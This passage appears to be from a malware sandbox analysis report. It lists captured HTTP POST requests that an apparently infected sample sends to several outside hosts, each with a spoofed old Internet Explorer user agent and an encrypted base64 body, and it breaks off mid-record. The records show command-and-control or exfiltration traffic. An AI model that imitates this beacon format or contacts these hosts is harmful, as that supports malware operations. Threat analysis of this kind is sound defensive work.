BpfpbOv7mQ+AJh2vwmCT+1Tp5yKxrEZlT7SVyLxT8SFyANCVJ1ZnUPbOrlBfyhL5VoqNJrewT2EJLw9MVH6A42DHArb3KFfOUjALMwbfO0QyFkayiRFnLyV2wP8vzqkOtsyTRDwXmcYTsxSriVUqzC1A9VZRWcnzEtl6xu3z1pwMMCJaucGFe/yk3mrwk0N878uYVH4eFzJwOtyqfL+3en+8/Gk908mYMlMak85zbENI/K7Cilm904L0FbQfPqXGcDClpJnsibTjPcDkuxpKNToZ8pYtvjhPkc644zRjZ5p4tUV1qTr9BjNPun2pRdwaPEPOdwvC1WupxUHn/zXL5Y8VBADLG7zb4nzGCl+avBLb3KbXMzGezbun5uaLb5BBeF5LWW9I/J3cqAQ1gZCL+pEl5PRuDUeyEEv90xF8dIxpd/0gkFOYKWgXkaylSyXODWBHwl7RZGx1NQMk5WQ6KoCF6J3VXXI0Lrspe8NqzHkbK55fogHphMGN3U3x+JsHi06RhnU4E2PwMA/cKMcbbY8vv24lMCnbpBCh//TKiDM+
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tyrns.comCache-Control: no-cacheData Raw: 30 4f 4a 44 4d 62 37 38 73 41 38 38 77 42 54 44 69 58 32 74 4f 36 46 49 69 35 6c 2b 46 64 33 52 30 6b 67 56 5a 72 55 61 49 61 35 6b 57 31 65 30 47 6e 5a 41 57 33 51 61 79 38 61 75 42 38 30 6d 2b 58 33 32 51 32 36 66 59 35 57 45 32 2b 2b 35 46 4a 75 54 67 4f 4c 2f 4f 33 6d 4f 50 7a 34 33 59 46 37 4a 49 69 37 67 65 46 33 41 55 63 64 44 4c 7a 54 6a 59 57 47 6e 6d 63 30 74 62 54 4c 62 52 2b 6d 6f 6c 53 63 54 2f 52 6f 4a 34 56 6b 72 68 32 69 6b 5a 6c 44 2b 4a 2f 37 58 39 57 39 37 67 41 5a 55 47 6a 74 53 6c 7a 6a 34 4f 66 6a 74 7a 63 48 6c 70 53 45 6f 63 47 2f 6a 45 54 7a 2f 56 32 63 6b 64 35 79 72 55 6c 75 2b 4f 39 53 73 59 4a 62 56 56 30 45 43 55 66 34 4a 67 76 45 7a 57 75 6b 69 47 33 34 2f 79 71 6b 61 76 34 67 49 71 78 68 34 70 67 6d 32 2f 30 62 6d 41 58 5a 4a 2b 4d 66 30 7a 78 79 6d 41 33 42 4e 6e 31 70 2b 56 78 30 37 68 39 39 63 52 37 32 36 53 4d 4a 7a 33 61 76 2b 2b 77 5a 52 6f 64 37 62 66 68 42 41 2b 4c 36 68 44 6c 47 4a 51 70 45 68 4f 61 6e 66 4c 67 47 75 42 6d 57 38 74 44 5a 35 37 7a 79 53 75 6c 6c 2f 72 47 73 4f 47 69 78 6a 31 35 77 38 49 34 62 4f 58 46 54 75 4f 4b 38 39 32 51 4c 4b 44 38 62 35 53 4d 56 37 45 59 72 71 38 52 39 45 69 34 4b 6d 6c 2f 4e 50 47 67 4c 6d 2b 7a 6a 6a 32 4f 72 58 78 45 59 74 79 49 4f 72 68 38 4e 35 33 34 72 72 5a 71 79 58 69 7a 75 73 5a 58 6d 61 4c 57 48 73 4a 63 75 6e 64 41 71 6d 39 4c 6f 42 4f 71 64 61 67 4f 55 46 6a 38 65 79 30 4c 35 6e 72 36 63 5a 76 41 41 5a 46 64 65 36 4c 4a 63 6a 45 6f 7a 35 52 67 63 78 59 68 77 4a 41 69 43 77 72 42 58 46 50 55 70 72 75 4f 38 64 38 62 66 52 53 73 47 46 43 58 66 44 78 67 71 52 59 39 42 32 51 72 61 77 78 56 6c 69 64 38 5a 46 45 48 66 33 63 41 51 7a 51 2f 56 30 34 69 62 73 69 5a 4c 6f 69 79 74 71 6f 77 6f 34 48 37 6f 39 35 2f 71 6b 41 77 71 48 7a 77 52 31 Data Ascii: 0OJDMb78sA88wBTDiX2tO6FIi5l+Fd3R0kgVZrUaIa5kW1e0GnZAW3Qay8auB80m+X32Q26fY5WE2++5FJuTgOL/O3mOPz43YF7JIi7geF3AUcdDLzTjYWGnmc0tbTLbR+molScT/RoJ4Vkrh2ikZlD+J/7X9W97gAZUGjtSlzj4OfjtzcHlpSEocG/jETz/V2ckd5yrUlu+O9SsYJbVV0ECUf4JgvEzWukiG34/yqkav4gIqxh4pgm2/0bmAXZJ+Mf0zxymA3BNn1p+Vx07h99cR726SMJz3av++wZRod7bfhBA+L6hDlGJQpEhOanfLgGuBmW8tDZ57zySull/rGsOGixj15w8I4bOXFTuOK892QLKD8b5SMV7EYrq8R9Ei4Kml/NPGgLm+zjj2OrXxEYtyIOrh8N534rrZqyXizusZXmaLWHsJcundAqm9LoBOqdagOUFj8ey0L5nr6cZvAAZFde6LJcjEoz5RgcxYhwJAiCwrBXFPUpruO8d8bfRSsGFCXfDxgqRY9B2QrawxVlid8ZFEHf3cAQzQ/V04ibsiZLoiytqowo4H7o95/qkAwqHzwR1
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.lrsuk.comCache-Control: no-cacheData Raw: 66 37 6a 63 53 43 6b 52 75 67 2b 36 7a 61 6e 54 2b 43 69 35 32 45 49 37 53 50 66 48 35 58 55 70 62 61 34 36 42 68 6b 59 57 4c 70 78 61 73 52 79 50 38 31 32 64 34 58 61 6a 75 58 63 63 6d 66 45 4c 61 41 62 42 36 64 78 75 43 66 72 6e 68 31 73 69 4e 56 61 71 43 69 4e 4e 4f 4c 2f 57 71 53 35 54 4a 45 73 59 6c 4e 4b 77 66 4c 36 45 70 77 46 34 33 6c 2b 32 31 6b 78 6b 75 4e 61 67 6b 70 4d 49 37 47 68 56 6f 79 50 62 59 36 51 58 65 77 73 49 45 41 33 44 67 58 58 5a 7a 41 6d 6c 78 6a 2f 47 58 61 34 42 37 61 2b 6d 76 52 54 4d 33 59 6c 2f 54 51 55 4e 34 32 69 73 38 2f 6b 4a 66 51 6b 6d 64 4b 4b 48 6e 68 73 53 41 77 53 78 49 62 53 34 56 4d 34 59 36 58 75 46 63 6b 6b 77 73 37 37 6c 76 71 71 54 31 4b 74 65 71 31 73 37 35 4d 4b 39 39 48 7a 49 4b 74 54 79 65 66 63 5a 51 52 42 34 36 53 50 4a 51 36 54 76 33 5a 72 69 56 78 38 6a 49 6f 72 75 56 56 79 37 36 61 44 30 61 63 7a 72 6b 56 42 71 41 59 64 63 51 5a 53 6f 2f 6b 70 36 53 42 6b 72 55 52 34 32 75 63 6b 4c 58 2b 61 6d 78 47 77 36 47 6f 71 4d 44 75 72 59 64 57 6f 35 69 76 31 57 43 48 5a 48 33 6d 72 35 4a 53 53 71 56 2f 55 49 4b 4d 31 75 77 39 78 65 63 31 59 73 71 6a 62 43 44 37 50 56 51 77 72 57 42 33 2f 62 51 7a 47 63 71 51 41 58 30 6f 6f 6e 73 69 4e 71 71 54 48 64 2b 65 77 50 43 31 6e 32 33 36 73 59 67 2b 4f 65 78 57 72 68 53 4b 38 61 46 33 66 5a 43 50 4b 6c 63 71 4f 39 42 49 51 74 57 4a 35 58 50 37 4f 43 76 59 52 68 56 76 76 62 45 4c 74 39 6d 2b 67 72 4c 73 34 6b 68 34 70 36 4c 2b 54 34 43 46 69 58 77 38 4b 6a 6d 4a 73 68 43 53 75 6f 75 71 55 73 73 44 4c 73 76 71 66 33 37 4a 48 57 4a 65 73 30 32 62 77 6f 78 64 50 79 58 65 7a 70 6d 4b 41 47 51 4e 6c 2f 70 76 2f 74 4d 37 5a 55 71 63 44 47 51 3d 3d Data Ascii: f7jcSCkRug+6zanT+Ci52EI7SPfH5XUpba46BhkYWLpxasRyP812d4XajuXccmfELaAbB6dxuCfrnh1siNVaqCiNNOL/WqS5TJEsYlNKwfL6EpwF43l+21kxkuNagkpMI7GhVoyPbY6QXewsIEA3DgXXZzAmlxj/GXa4B7a+mvRTM3Yl/TQUN42is8/kJfQkmdKKHnhsSAwSxIbS4VM4Y6XuFckkws77lvqqT1Kteq1s75MK99HzIKtTyefcZQRB46SPJQ6Tv3ZriVx8jIoruVVy76aD0aczrkVBqAYdcQZSo/kp6SBkrUR42uckLX+amxGw6GoqMDurYdWo5iv1WCHZH3mr5JSSqV/UIKM1uw9xec1YsqjbCD7PVQwrWB3/bQzGcqQAX0oonsiNqqTHd+ewPC1n236sYg+OexWrhSK8aF3fZCPKlcqO9BIQtWJ5XP7OCvYRhVvvbELt9m+grLs4kh4p6L+T4CFiXw8KjmJshCSuouqUssDLsvqf37JHWJes02bwoxdPyXezpmKAGQNl/pv/tM7ZUqcDGQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.c9dd.comCache-Control: no-cacheData Raw: 4c 6d 41 70 53 46 4d 4c 75 67 38 49 7a 70 51 6c 47 70 68 2f 52 50 78 30 57 33 51 35 70 44 45 31 4e 77 62 4d 75 4c 6b 49 2f 7a 5a 54 50 49 56 4a 58 4c 2f 58 5a 43 35 79 57 72 47 6b 4c 73 66 69 63 57 62 74 31 2f 6f 77 4b 66 6d 67 32 38 64 4d 43 78 4d 73 66 45 76 2f 78 72 67 62 6d 54 31 54 59 47 61 48 44 59 73 58 2b 77 78 67 6b 48 51 64 6d 58 46 4f 62 58 42 37 32 4b 31 79 34 72 4c 69 76 2b 35 58 41 41 77 37 41 4c 48 67 73 41 50 4d 57 51 53 38 59 65 32 54 54 69 73 6c 63 42 43 6e 77 6e 63 5a 50 6d 6d 49 66 39 52 4f 77 55 63 36 37 50 5a 58 4b 31 71 54 47 6c 53 51 31 67 75 49 62 68 78 48 4b 31 74 6c 76 4b 59 37 56 47 34 36 4a 61 49 73 59 4b 72 35 53 66 33 70 57 6f 33 67 78 52 71 55 75 41 37 6f 4d 77 59 7a 6b 2f 68 42 6c 74 78 47 55 2f 2b 6c 45 75 74 69 32 36 73 54 6a 6e 57 78 53 47 63 47 63 79 4b 53 44 35 33 6b 78 68 32 71 5a 65 4c 56 44 30 68 48 5a 65 78 62 79 78 66 32 38 55 72 37 71 38 4f 4b 61 71 37 63 67 31 69 2f 54 79 6f 66 67 6e 58 6c 71 79 59 4d 47 75 2b 5a 65 53 71 33 33 70 4e 6e 68 4e 57 68 44 73 6b 54 42 31 54 42 78 41 48 47 30 2f 72 44 2f 56 2b 58 6c 50 4f 35 30 4b 5a 32 5a 57 65 4f 77 36 31 34 6d 4b 56 6f 69 62 4a 34 69 49 6e 6a 4c 78 66 36 70 6c 6e 6f 32 65 59 57 73 4a 30 35 50 75 2b 58 2f 31 5a 4e 62 44 48 32 75 6e 6e 35 31 34 69 73 6f 33 32 37 31 79 31 48 41 6e 57 66 4e 31 72 6f 76 68 6f 66 65 34 4b 56 6c 50 58 38 2b 77 30 6b 6d 34 63 65 4b 71 34 35 74 35 34 2f 33 4c 56 6c 73 47 35 67 41 4c 6c 33 55 4a 56 4c 42 34 56 7a 6d 77 4f 63 4c 50 45 67 34 6d 2b 4d 38 69 48 48 4f 69 54 56 58 70 63 46 38 62 31 4b 66 63 52 68 54 6a 48 50 57 48 48 75 2b 6f 64 79 38 68 4b 50 79 31 4d 66 46 49 4f 50 39 55 64 51 63 70 66 6f 42 4d 72 65 59 4f 4e 59 47 4c 62 72 51 4b 52 7a 72 77 74 54 76 4e 79 45 33 4d 6a 61 79 61 42 58 67 67 3d 3d Data Ascii: LmApSFMLug8IzpQlGph/RPx0W3Q5pDE1NwbMuLkI/zZTPIVJXL/XZC5yWrGkLsficWbt1/owKfmg28dMCxMsfEv/xrgbmT1TYGaHDYsX+wxgkHQdmXFObXB72K1y4rLiv+5XAAw7ALHgsAPMWQS8Ye2TTislcBCnwncZPmmIf9ROwUc67PZXK1qTGlSQ1guIbhxHK1tlvKY7VG46JaIsYKr5Sf3pWo3gxRqUuA7oMwYzk/hBltxGU/+lEuti26sTjnWxSGcGcyKSD53kxh2qZeLVD0hHZexbyxf28Ur7q8OKaq7cg1i/TyofgnXlqyYMGu+ZeSq33pNnhNWhDskTB1TBxAHG0/rD/V+XlPO50KZ2ZWeOw614mKVoibJ4iInjLxf6plno2eYWsJ05Pu+X/1ZNbDH2unn514iso3271y1HAnWfN1rovhofe4KVlPX8+w0km4ceKq45t54/3LVlsG5gALl3UJVLB4VzmwOcLPEg4m+M8iHHOiTVXpcF8b1KfcRhTjHPWHHu+ody8hKPy1MfFIOP9UdQcpfoBMreYONYGLbrQKRzrwtTvNyE3MjayaBXgg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 48 46 57 56 4c 58 59 38 6d 6c 6b 43 45 55 67 67 30 51 6e 68 4a 42 6c 35 72 4b 2b 57 71 35 54 6d 43 71 69 71 55 62 41 55 51 4e 34 76 44 67 47 72 6e 7a 39 68 74 6f 61 58 64 74 6a 6a 62 31 30 4a 75 64 55 50 6e 54 43 6b 42 7a 46 47 4f 41 45 4b 5a 54 45 44 6d 43 47 68 31 72 50 6d 6b 39 6a 42 4c 57 6d 46 65 71 5a 63 4c 4a 6c 51 46 69 41 78 73 55 62 61 38 52 31 67 66 75 55 57 77 51 78 6a 45 6b 51 6e 6d 78 49 74 44 75 32 6c 71 52 2f 6a 79 69 72 49 34 74 63 38 70 6a 46 37 53 36 2b 44 47 66 51 41 51 7a 74 6e 38 35 69 43 6b 2b 64 6a 58 35 59 2f 2f 57 30 48 38 51 65 6d 53 57 37 30 30 70 73 4e 68 47 6e 43 50 50 36 73 66 61 42 76 67 6b 6f 62 57 30 46 63 4e 70 50 56 2b 45 52 70 75 2b 6d 52 71 6f 47 77 65 63 38 56 4d 59 30 61 4a 4d 55 79 36 37 4f 38 56 4b 44 58 63 4f 41 70 68 65 42 33 37 70 71 6f 69 47 30 58 4f 61 74 61 66 37 64 49 65 43 74 56 52 5a 54 71 34 79 32 4d 6e 58 6e 44 39 54 61 45 33 31 2f 69 78 36 4e 7a 63 58 67 68 4e 71 59 50 51 64 45 46 36 6c 54 61 65 76 79 42 4d 4c 31 6f 6e 67 31 4e 65 2f 6a 46 47 62 2f 4c 39 31 62 6b 70 4e 31 34 57 4c 51 73 44 42 6d 4f 2b 48 47 6d 63 41 42 76 50 46 77 38 35 69 55 6f 37 6d 39 6f 58 35 41 68 68 71 55 2f 65 4a 51 79 2f 54 48 2b 44 51 42 2f 54 45 78 72 55 37 67 6d 30 70 6e 57 34 2f 74 74 6e 42 52 54 38 50 39 4d 30 2b 59 33 47 47 67 69 49 69 6a 54 6f 57 31 68 51 73 41 31 4c 54 43 6b 6a 45 34 55 73 42 48 62 72 47 4a 42 2b 76 37 42 38 61 6c 72 49 4d 59 55 59 73 37 4e 38 4b 55 44 47 62 4e 37 5a 39 2b 54 46 6b 66 37 6f 4e 59 66 57 69 35 48 4c 71 4f 6b 61 31 45 69 36 6b 69 6e 5a 2b 37 53 4a 77 44 50 77 43 4c 72 78 67 6e 4d 6f 76 47 54 38 4b 43 44 2b 76 49 31 30 64 67 4e 74 67 3d 3d Data Ascii: HFWVLXY8mlkCEUgg0QnhJBl5rK+Wq5TmCqiqUbAUQN4vDgGrnz9htoaXdtjjb10JudUPnTCkBzFGOAEKZTEDmCGh1rPmk9jBLWmFeqZcLJlQFiAxsUba8R1gfuUWwQxjEkQnmxItDu2lqR/jyirI4tc8pjF7S6+DGfQAQztn85iCk+djX5Y//W0H8QemSW700psNhGnCPP6sfaBvgkobW0FcNpPV+ERpu+mRqoGwec8VMY0aJMUy67O8VKDXcOApheB37pqoiG0XOataf7dIeCtVRZTq4y2MnXnD9TaE31/ix6NzcXghNqYPQdEF6lTaevyBML1ong1Ne/jFGb/L91bkpN14WLQsDBmO+HGmcABvPFw85iUo7m9oX5AhhqU/eJQy/TH+DQB/TExrU7gm0pnW4/ttnBRT8P9M0+Y3GGgiIijToW1hQsA1LTCkjE4UsBHbrGJB+v7B8alrIMYUYs7N8KUDGbN7Z9+TFkf7oNYfWi5HLqOka1Ei6kinZ+7SJwDPwCLrxgnMovGT8KCD+vI10dgNtg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.stajum.comCache-Control: no-cacheData Raw: 46 4d 72 70 69 71 51 70 56 46 6f 47 75 77 32 75 50 32 68 51 62 48 65 55 74 76 39 63 38 79 32 71 47 45 47 37 4f 4b 32 6a 6a 56 74 45 46 55 55 54 64 4c 51 46 37 44 62 47 4c 4f 75 66 6b 4c 52 77 73 76 48 33 2f 64 6b 48 4e 35 64 77 36 6d 4f 39 42 65 37 49 44 65 50 65 61 63 2b 56 6b 4d 51 36 71 2f 71 5a 74 69 6e 48 78 78 6b 63 73 4f 69 59 76 43 33 53 51 68 6a 6f 31 71 72 6e 6c 30 38 72 55 56 39 64 4d 38 39 42 43 78 6f 68 32 35 4a 33 63 4c 36 32 32 4d 50 75 46 37 78 78 47 4f 4b 31 47 72 2f 46 61 6d 77 71 43 69 41 33 42 79 6f 6d 78 78 32 64 7a 57 6e 75 78 49 78 75 33 4b 55 2b 68 72 53 58 6c 4f 6e 75 42 43 35 6a 31 49 2b 50 66 47 54 37 54 4e 69 41 58 65 37 36 77 2b 66 4b 50 2b 66 6f 7a 6d 4a 2f 62 47 70 77 44 37 51 4c 6d 51 4d 49 34 73 70 6a 72 6a 53 35 31 4a 48 56 51 65 4f 49 54 42 55 77 4e 4c 51 79 69 42 71 42 79 4d 56 62 72 52 2f 57 75 50 34 76 46 65 42 79 36 54 30 48 72 70 72 56 6d 62 41 4d 48 70 6a 4b 5a 6c 30 4a 5a 59 2f 7a 55 33 31 45 42 4b 36 68 63 61 47 43 79 67 48 31 57 67 55 77 39 62 4c 6e 76 48 79 36 73 70 44 59 53 71 36 34 47 34 48 4c 6b 42 61 63 6e 51 75 49 68 4b 31 4d 55 49 6b 58 50 79 34 55 79 4f 33 35 79 54 6d 63 55 4d 42 56 31 52 48 79 43 49 63 47 73 6c 77 4d 63 54 6c 77 49 64 6c 4b 57 44 4e 71 69 64 37 4f 33 2f 50 6e 73 4d 4c 76 63 79 53 72 4a 76 44 47 54 48 4b 37 77 48 64 39 50 6d 72 45 69 62 73 4c 68 64 6f 44 31 4e 4c 4f 39 51 61 4c 4c 4d 48 42 69 71 2b 4e 46 67 66 4c 33 63 34 56 6a 57 5a 4a 36 48 55 49 70 41 50 42 6e 61 5a 74 73 4e 4c 35 42 62 6d 56 32 61 4d 69 54 48 47 76 6b 4c 55 73 35 6c 48 4d 45 72 4c 34 4d 72 39 39 70 6c 74 4e 79 56 53 33 30 79 56 38 4f 56 74 30 46 62 6b 72 34 2f 68 2b 71 38 6b 6d 77 7a 4c 4a 5a 54 55 69 61 39 73 34 64 6e 77 76 62 31 64 6f 49 64 63 77 56 6c 77 75 59 77 32 55 35 75 7a 4b 65 41 3d 3d Data Ascii: FMrpiqQpVFoGuw2uP2hQbHeUtv9c8y2qGEG7OK2jjVtEFUUTdLQF7DbGLOufkLRwsvH3/dkHN5dw6mO9Be7IDePeac+VkMQ6q/qZtinHxxkcsOiYvC3SQhjo1qrnl08rUV9dM89BCxoh25J3cL622MPuF7xxGOK1Gr/FamwqCiA3Byomxx2dzWnuxIxu3KU+hrSXlOnuBC5j1I+PfGT7TNiAXe76w+fKP+fozmJ/bGpwD7QLmQMI4spjrjS51JHVQeOITBUwNLQyiBqByMVbrR/WuP4vFeBy6T0HrprVmbAMHpjKZl0JZY/zU31EBK6hcaGCygH1WgUw9bLnvHy6spDYSq64G4HLkBacnQuIhK1MUIkXPy4UyO35yTmcUMBV1RHyCIcGslwMcTlwIdlKWDNqid7O3/PnsMLvcySrJvDGTHK7wHd9PmrEibsLhdoD1NLO9QaLLMHBiq+NFgfL3c4VjWZJ6HUIpAPBnaZtsNL5BbmV2aMiTHGvkLUs5lHMErL4Mr99pltNyVS30yV8OVt0Fbkr4/h+q8kmwzLJZTUia9s4dnwvb1doIdcwVlwuYw2U5uzKeA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tyrns.comCache-Control: no-cacheCookie: ASP.NET_SessionId=0153b055u40lc355cjm3hg55Data Raw: 54 62 50 50 6d 47 6a 74 58 46 70 46 41 51 52 43 4b 33 48 6d 43 4e 74 41 75 70 70 77 58 4e 48 56 48 41 66 38 6b 52 67 68 34 67 6c 2f 4e 54 61 79 79 6b 46 70 50 73 55 73 55 4c 34 7a 75 62 6a 4c 6e 66 71 66 55 64 6a 37 53 67 76 6b 6a 6c 6a 63 79 6b 6c 4e 42 4e 44 7a 58 6b 43 4a 51 43 34 44 53 57 70 51 4a 2b 30 74 63 5a 59 6b 4f 55 50 61 50 48 48 7a 34 59 78 2f 54 72 50 6d 56 76 4c 46 71 6f 59 69 73 78 6f 73 73 52 41 43 42 32 4c 4c 71 73 4e 30 4c 72 56 64 44 2b 68 71 2f 6e 35 78 4c 56 73 76 68 32 76 6e 4b 36 5a 72 6c 47 33 2f 59 6a 66 51 2b 4e 71 65 79 55 31 41 73 7a 65 63 6a 55 37 69 61 37 36 51 76 37 6a 51 45 6b 46 7a 77 32 62 64 74 34 36 4c 6a 4c 2b 6d 6c 43 67 69 46 47 77 44 37 59 38 41 77 31 6e 34 48 52 46 55 37 6f 75 37 38 42 53 41 38 2b 4a 61 39 49 54 64 54 42 4f 59 72 4d 32 7a 38 30 5a 4e 6f 62 48 76 2b 52 74 71 44 2f 65 6c 4d 78 58 76 49 59 36 69 50 4b 31 61 6b 4c 5a 66 6c 55 61 6e 30 4c 38 62 35 67 4d 45 38 38 76 42 79 39 68 51 56 67 47 74 6c 69 61 50 50 6b 70 7a 4e 6b 36 58 49 30 75 69 4c 68 6d 43 44 36 58 78 46 30 61 53 37 54 4b 76 66 47 73 43 43 66 74 49 79 78 43 65 54 57 75 39 55 4f 62 6a 44 75 66 2f 77 6e 41 78 4d 58 52 69 68 52 66 43 32 4c 4d 49 58 77 6e 2b 62 4c 4f 31 33 43 68 42 30 37 36 76 70 71 46 35 55 51 43 7a 6a 59 38 71 33 77 53 49 69 4d 53 46 63 71 51 4a 31 32 33 34 6c 64 50 34 7a 61 4f 6e 69 6b 43 51 63 46 68 5a 43 35 71 70 79 39 6c 2f 71 65 43 58 74 2f 61 61 47 61 4c 4c 50 50 73 43 6b 67 46 50 63 53 66 6e 32 71 2b 4a 33 4e 73 35 62 4a 48 58 6a 52 55 47 76 47 64 76 6c 77 2f 47 77 51 32 39 62 4e 62 71 30 44 46 41 46 4d 44 2b 73 45 6b 4e 38 34 39 52 59 49 46 66 37 51 48 67 Data Ascii: TbPPmGjtXFpFAQRCK3HmCNtAuppwXNHVHAf8kRgh4gl/NTayykFpPsUsUL4zubjLnfqfUdj7SgvkjljcyklNBNDzXkCJQC4DSWpQJ+0tcZYkOUPaPHHz4Yx/TrPmVvLFqoYisxossRACB2LLqsN0LrVdD+hq/n5xLVsvh2vnK6ZrlG3/YjfQ+NqeyU1AszecjU7ia76Qv7jQEkFzw2bdt46LjL+mlCgiFGwD7Y8Aw1n4HRFU7ou78BSA8+Ja9ITdTBOYrM2z80ZNobHv+RtqD/elMxXvIY6iPK1akLZflUan0L8b5gME88vBy9hQVgGtliaPPkpzNk6XI0uiLhmCD6XxF0aS7TKvfGsCCftIyxCeTWu9UObjDuf/wnAxMXRihRfC2LMIXwn+bLO13ChB076vpqF5UQCzjY8q3wSIiMSFcqQJ1234ldP4zaOnikCQcFhZC5qpy9l/qeCXt/aaGaLLPPsCkgFPcSfn2q+J3Ns5bJHXjRUGvGdvlw/GwQ29bNbq0DFAFMD+sEkN849RYIFf7QHg
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.crcsi.orgCache-Control: no-cacheData Raw: 56 57 6e 55 6d 33 30 47 58 56 70 77 6b 58 6b 51 4e 42 58 7a 68 62 5a 66 5a 67 4f 72 39 39 64 59 41 57 2b 5a 51 4c 72 51 49 33 71 51 67 6e 39 6c 70 71 48 6d 51 55 53 72 49 32 56 45 62 65 59 4c 4e 2b 4b 49 2b 36 6b 6d 79 41 66 6b 4c 41 4c 7a 38 50 75 69 6f 65 6d 65 55 34 2b 42 65 53 7a 4e 45 41 6f 72 52 75 72 6b 77 70 6d 33 4e 79 76 33 4e 5a 2b 36 31 4a 47 44 56 67 49 7a 2f 4c 54 4a 4a 41 58 44 73 57 53 68 75 68 64 51 5a 52 72 47 56 4f 44 47 78 55 66 77 42 77 41 48 62 6a 5a 4d 35 48 47 59 4f 68 6e 41 62 51 58 73 6f 70 4c 65 4f 61 58 42 39 72 56 72 7a 54 46 62 39 64 61 69 6c 6b 42 61 41 73 56 38 6a 76 62 67 42 30 77 78 7a 54 64 30 6d 56 36 43 6b 34 32 4e 64 4e 72 6a 49 49 59 6c 76 73 64 77 49 73 35 70 71 34 32 32 7a 55 71 57 51 62 4d 34 4a 6c 62 55 4a 47 51 50 30 2f 43 2b 6a 2f 56 33 68 43 56 34 70 73 69 75 35 71 6d 66 61 42 56 59 6a 67 50 2b 66 35 68 4c 61 2f 4d 56 71 7a 41 4c 63 50 43 32 69 65 31 36 50 77 78 50 71 78 75 45 31 42 59 41 4f 35 65 67 31 32 4f 72 5a 79 6f 62 78 33 53 31 63 50 65 45 64 35 39 77 4a 6b 4d 35 4a 6c 50 64 4e 6f 47 30 4f 62 70 33 30 58 50 67 32 32 65 76 6a 42 6c 76 5a 36 6e 6b 56 54 49 69 57 70 63 59 2b 68 38 6b 31 42 64 49 69 74 34 48 79 33 4c 50 64 65 35 42 6b 50 6c 4f 77 65 6b 66 71 4a 56 53 43 73 67 70 69 77 55 75 46 68 36 62 34 6e 4b 4a 4b 69 6d 31 53 5a 51 2f 2f 4d 79 45 68 62 31 31 58 58 52 4e 46 6e 6a 55 43 58 78 32 4e 55 6d 56 66 39 62 65 5a 4f 59 59 72 42 56 36 55 68 54 71 42 44 77 65 59 36 4e 77 74 32 78 52 6f 46 57 53 76 78 70 52 78 55 36 6e 67 38 65 74 41 63 69 56 6c 30 30 63 59 37 2f 77 43 41 74 5a 54 64 54 2b 50 64 51 74 69 36 65 74 37 39 33 53 49 59 65 58 4c 44 6d 6e 58 57 45 2f 76 4f 5a 6a 56 76 39 72 53 4d 38 75 6c 62 6a 58 66 6a 43 45 51 54 50 36 65 72 44 4b 69 6d 54 62 46 75 56 67 Data Ascii: VWnUm30GXVpwkXkQNBXzhbZfZgOr99dYAW+ZQLrQI3qQgn9lpqHmQUSrI2VEbeYLN+KI+6kmyAfkLALz8PuioemeU4+BeSzNEAorRurkwpm3Nyv3NZ+61JGDVgIz/LTJJAXDsWShuhdQZRrGVODGxUfwBwAHbjZM5HGYOhnAbQXsopLeOaXB9rVrzTFb9dailkBaAsV8jvbgB0wxzTd0mV6Ck42NdNrjIIYlvsdwIs5pq422zUqWQbM4JlbUJGQP0/C+j/V3hCV4psiu5qmfaBVYjgP+f5hLa/MVqzALcPC2ie16PwxPqxuE1BYAO5eg12OrZyobx3S1cPeEd59wJkM5JlPdNoG0Obp30XPg22evjBlvZ6nkVTIiWpcY+h8k1BdIit4Hy3LPde5BkPlOwekfqJVSCsgpiwUuFh6b4nKJKim1SZQ//MyEhb11XXRNFnjUCXx2NUmVf9beZOYYrBV6UhTqBDweY6Nwt2xRoFWSvxpRxU6ng8etAciVl00cY7/wCAtZTdT+PdQti6et793SIYeXLDmnXWE/vOZjVv9rSM8ulbjXfjCEQTP6erDKimTbFuVg
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.medius.siCache-Control: no-cacheData Raw: 7a 33 6f 50 62 64 49 75 31 41 2b 56 66 6c 33 6b 68 51 42 66 4a 39 57 4c 4a 68 63 69 41 77 49 36 4a 76 4b 70 6d 30 48 4a 44 37 71 6c 4e 70 2b 65 6d 45 78 54 66 61 44 7a 46 46 73 62 78 30 64 73 49 30 56 79 4e 72 41 34 75 2b 61 6f 46 43 45 2f 5a 39 41 4e 43 61 69 59 64 42 4c 6a 61 48 2b 6a 4c 62 38 78 46 74 71 73 6f 69 36 6d 61 74 59 30 33 6a 67 52 6a 43 32 45 49 63 65 46 35 53 70 6d 36 6c 6a 56 49 74 6d 4b 61 6e 6b 51 5a 4f 6d 38 6e 72 43 38 39 31 68 58 51 4e 30 6f 67 39 58 77 33 31 39 4d 46 4f 50 57 48 4d 48 44 46 79 57 5a 51 31 74 6a 30 62 59 33 46 39 5a 45 45 6b 61 56 4e 52 41 5a 74 76 69 71 69 74 2f 63 63 38 46 34 6a 72 2f 38 73 37 34 6b 59 43 4d 4d 6d 59 62 33 46 74 4a 44 31 48 67 6b 50 6d 2f 6c 78 31 2b 71 37 47 55 39 68 61 50 31 53 55 43 76 34 38 39 2f 6d 38 